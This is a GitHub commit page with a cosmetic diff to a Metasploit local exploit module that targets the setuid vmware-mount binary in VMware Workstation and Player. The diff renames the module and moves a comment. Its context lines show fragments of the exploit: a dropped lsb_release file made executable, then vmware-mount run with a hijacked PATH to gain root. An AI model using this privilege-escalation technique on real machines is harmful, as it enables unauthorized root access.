Skip to content

Commit feae4a4

Browse files
committed
I don't like end-of-line comments
1 parent 57c7d06 commit feae4a4

File tree

1 file changed

+4
-2
lines changed

1 file changed

+4
-2
lines changed

modules/exploits/linux/local/vmware_mount.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ class Metasploit4 < Msf::Exploit::Local
1818

1919
def initialize(info={})
2020
super( update_info( info, {
21-
'Name' => 'VMWare Setuid vmware-mount Unsafe popen',
21+
'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)',
2222
'Description' => %q{
2323
VMWare Workstation (up to and including 9.0.2 build-1031769)
2424
and Player have a setuid executable called vmware-mount that
@@ -92,7 +92,9 @@ def exploit
9292

9393
cmd_exec("chmod +x lsb_release")
9494
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
95-
cmd_exec("rm -f lsb_release") # using it over FileDropper because the original session can clean it up
95+
# Delete it here instead of using FileDropper because the original
96+
# session can clean it up
97+
cmd_exec("rm -f lsb_release")
9698
end
9799

98100
def setuid?(remote_file)

0 commit comments

Comments
 (0)